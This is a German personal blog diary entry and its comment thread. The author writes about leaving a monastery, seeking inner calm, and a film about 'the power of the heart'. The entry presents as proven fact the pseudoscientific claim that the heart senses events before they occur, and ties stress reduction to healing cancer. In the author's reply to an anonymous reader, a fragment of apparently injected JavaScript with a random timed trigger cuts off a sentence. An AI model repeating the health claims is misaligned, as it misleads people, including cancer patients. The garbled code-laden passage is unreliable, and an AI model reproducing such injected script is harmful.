Tag 24
Ich stehe in meinem Appartement, die Tränen fließen und ich fühle Verzweiflung, wie ich sie als Kind gefühlt habe, wenn mein Vater mich zur Bestrafung in mein Zimmer geschickt hat und ich von Allem getrennt war. Ich habe hier die Stimme meines Herzens verloren. Im Kloster war ich bei mir, war ich eins mit mir in der Stille. Hier sind überall Geräusche. Die Wanduhr tickt, der Kühlschrank summt vor sich hin, der Lüfter im Bad, die leise Lounge-Musik, die ich selbst angemacht habe, draußen Bautätigkeit, eine Flex fährt kreischend durchs Metall, Innenputz wird auf Wände geblasen, überall Geräusche. Mein Verstand folgt dem Außen wie ein Rudel Welpen, völlig planlos und aufgeregt folgt er jeder neuen Spur, die von irgendeinem Geräusch gezogen wird. Sinnlose Gedanken, die mich ablenken und mit Unwichtigem beschäftigt halten. Schrecklich. Ich habe mich selbst wieder verloren, bin von mir selbst getrennt, höre mein Inneres hier nicht mehr. Ich brauche einen Plan, eine neue Strategie, ich habe das Paradies des Klosters verloren. Zurück will ich nicht, meine Aufgabe im Leben und die Sinnhaftigkeit meines Daseins liegt nicht in einem Kloster, dessen bin ich mir sicher. Aber ich will mich wieder haben. Es war so schön, bei mir selbst zu sein.
Erstmal was Praktisches machen, Wäsche von der Leine nehmen, zusammenlegen und eine neue Maschine durchwaschen. Praktisch ist immer gut, praktisch hilft immer. Außerdem ist nach 3 Wochen Kloster praktisch meine gesamte Wäsche schmutzig. Danach gehe ich zum Meer. Meer hilft auch immer.
Raues Meer hilft besser als sanftes Meer.
Niemand außer mir war am Strand, kein Hund, keine Katze, kein Mensch. Der Wind, der Regen und die Geräusche der Wellen erden und bringen mich wieder zu mir. Nach einer halben Stunde fühle ich mich wieder. Danke.
Zuhause geht das praktische Leben weiter. Essen kochen und die Wäsche auf dem Balkon retten, indem ich sie rein hole. Der Wind frischt zu Sturmböen auf, es regnet heftig, der Balkon wird geflutet und der Ständer mit der Wäsche fängt an zu wandern. Die Stromversorgung fällt aus, doch wir haben ein Notstromaggregat, das nach wenigen Sekunden anspringt. Dieser Lärm ist okay, besser laut als dunkel (irgendwie weiß der Junge auch nicht was er will). Meine Erkenntnis des Tages ist, dass ich einen Weg brauche, im ganz normalen Leben den Zustand des „bei mir Seins“ aus dem Kloster zu erhalten. Mal schauen, es ist auf jeden Fall eine schöne Aufgabe.
Der Film, dessen Name mir gestern nicht einfiel, heißt „The Power Of The Heart“. Ein faszinierender Streifen über die Fähigkeiten unseres Herzens. Wissenschaftliches verbunden mit Spirituellem. Zum Beispiel: unser Herz reagiert bereits auf Ereignisse einige Sekunden bevor sich diese Ereignisse in der Realität manifestieren! Kein Spökenkiekerkram, die Jungs von Heartmath Inc. aus Kalifornien haben als erste den Beweis geführt und inzwischen haben es diverse Studien rund um den Globus bestätigt. Heartmath Inc. haben auch den Goldstandard zur Stressmessung mit entwickelt, die Herzratenvariabilitätsmessung. Die sind also keine Spinner am anderen Ende der Welt, sondern anerkannt in der Wissenschaftswelt. Stressreduzierung ist die Grundvoraussetzung, damit das Immunsystem optimal arbeiten und entartete Zellen bekämpfen kann. Das waren für mich wichtige Informationen rund um das Thema Heilung von Krebs, aber das nur nebenbei.
Ich lege Euch den Film über die Kraft des Herzens wirklich ans Herz. Mir hat er kurz vor meiner Abreise die Frage beantwortet, warum ich so eine geradezu perverse Freude an den Katastrophen in meinem Leben hatte. Natürlich habe ich bei den „schlimmen“ Dingen, die mir in meinem Leben passiert sind, vorschriftsmäßig und hauptsächlich gejammert, wie sich das gehört. Aber ein Teil von mir hat Freude am eigenen Leid gehabt, fand es geil zu erfahren, wie viel ich aushalten kann, was ich alles bewältigen kann. Ein fieser, kleiner Perversling. Ich habe sogar zu Beginn noch eine Weile mir meinem Krebs gespielt. Ab und zu, mit mir sehr vertrauten Menschen, habe ich meinen ganzen Mut zusammengenommen, darüber gesprochen und nach dem Warum gefragt, aber über viele Jahre keine Antwort gefunden. Mit dem Film konnte ich mir die Antwort selbst geben.
Tja, Ihr Lieben, das wurde gestern angetickt von den Beziehungskisten aus der Heimat und hat mich heute noch den Tag über beschäftigt.
Wer ist Eckhart Tolle? Bin nicht so die Leseratte was Lebensbücher betrifft.???? Du weißt doch, ich habe will erlebt und daraus meine Weisheit erworben. ????????
Womit wir bei der Frage wären, wann wir Dein Buch lesen können? Wenn Du keinen Bock zu schreiben hast: Du erzählst und Michael und ich schreiben es auf.
Nur wer sich verliert, kann sich wiederfinden! Und mal aus der Ferne betrachtet: Verloren hattest Du Dich nicht, sonst hättest Du Dich auch nicht wahrgenommen. Wer aber so krass die Umgebung ändert, wie Du, der spürt intensiver die Notwendigkeit unterschiedlicher Strategien, die uns die Umwelt abnötigt. Ich finde es toll, wie aktiv Du diese findest und wir alle Dich dabei begleiten dürfen.
Heute durfte ich wieder viele Tage auf einmal lesen und bitte nimm es persönlich: YOU MADE MY DAY!
Nicht nur, weil ich wieder viel und so richtig laut gelacht habe, nein, vielmehr, weil DU wieder Gedanken bei MIR stiftest, die den normalen Wahnsinn wieder auf das richtige Maß begrenzen und zeigen, was wirklich wichtig im Leben ist: SEIN mit den Menschen, die einem die Welt bedeuten!. Damit werde ich meinen Tag beenden. Liebe Grüße und tolle Erlebnisse!
Grüß mir die Deinen, die ich nächstes Jahr kennenlerne.
Götz
Lieber Götz,
den ersten Schritt den Kontakt zu dir nicht zu verlieren hast du bereits geschafft! Der erste Schritt ist es wahrzunehmen das man den Kontakt verloren hat. Heute hast du es bemerkt. Halte dieses Gefühl in deiner Erinnerung fest damit du es wiedererkennen kannst wenn das zu viel von der Welt dich wieder einlullen will. Ich freue mich sehr für dich, dass du den Unterschied wahrgenommen hast!!!
Drück dich.
Regine
Liebe Gine,
kann es sein, dass Du Deinen Eckhart Tolle auch sehr aufmerksam gelesen hast? 😉
Drücker zurück
Götz
Lieber Götz, wenn Du diesen Film gesehen hast, dann könnte Dir der Name Deepak Chopra was sagen. In einer grossen Lebenskrise bin ich an sein Buch „die heilende Kraft“ gekommen und hab es gelesen und ich habe damals begriffen, dass alles in Dir selber zu finden ist und nur in Dir und niemals von aussen, es sind Deine Gedanken. Er erklärt in dem Buch, wo und wie sie entstehen. Alles entsteht in Dir drin, von aussen können nur Impulse kommen, aber niemals Dein Seelenheil. Ich wünsche Dir Geduld auf Deiner Reise zu Dir selbst und zieh dabei Deine alte Jacke aus, mit der bist Du nochzu oft unterwegs und das ist lieb gemeint.
Lieben Gruss von einer unbekannte Leserin
Liebe unbekannte Leserin,
ich kenne Deepak Chopra und habe zumindest ein Buch von ihm gelesen. Danke für Deine Ausführungen, die ich nachvollziehen kann und denen ich zustimme. Dass Du Deinen Namen nicht nennst, macht mir ein ungutes Gefühl und ich habe einen Tag lang überlegt, ob ich Deinen Kommentar freigebe und ob ich antworte. Jemandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and äußert sich zu einem inneren Vorgang von mir, den ich öffentlich gemacht habe, gibt eine Bewertung und einen Ratschlag ab, nett gemeint, doch ohne sich selbst zu zeigen. Das löst bei mir ein leichtes Gefühl von Ohnmacht und Hilflosigkeit aus. Es ist kein Drama und zeigt mir eine kleine, weitere Baustelle auf, die ich dank Deiner Zeilen jetzt kenne, doch wenn ich gewusst hätte, wer zu mir spricht, hätte es mich mehr gefreut und ich hätte es besser annehmen können.
Ich wünsche Dir, dass Dir Menschen in vergleichbarer Situation ohne die Deckung der Anonymität gegenübertreten.
Viele Grüße
Götz
Kein ungutes Gefühl, Götz, das wollte ich Dir nicht hinterlassen, ich habs nur nicht so mit der
Öffentlichkeit per Internet, ohne dem schreibe ich Dir gerne eine private email, muss aber nicht für alle sein. Lieben Gruss und geniess jeden Tag Deines momentanen Leben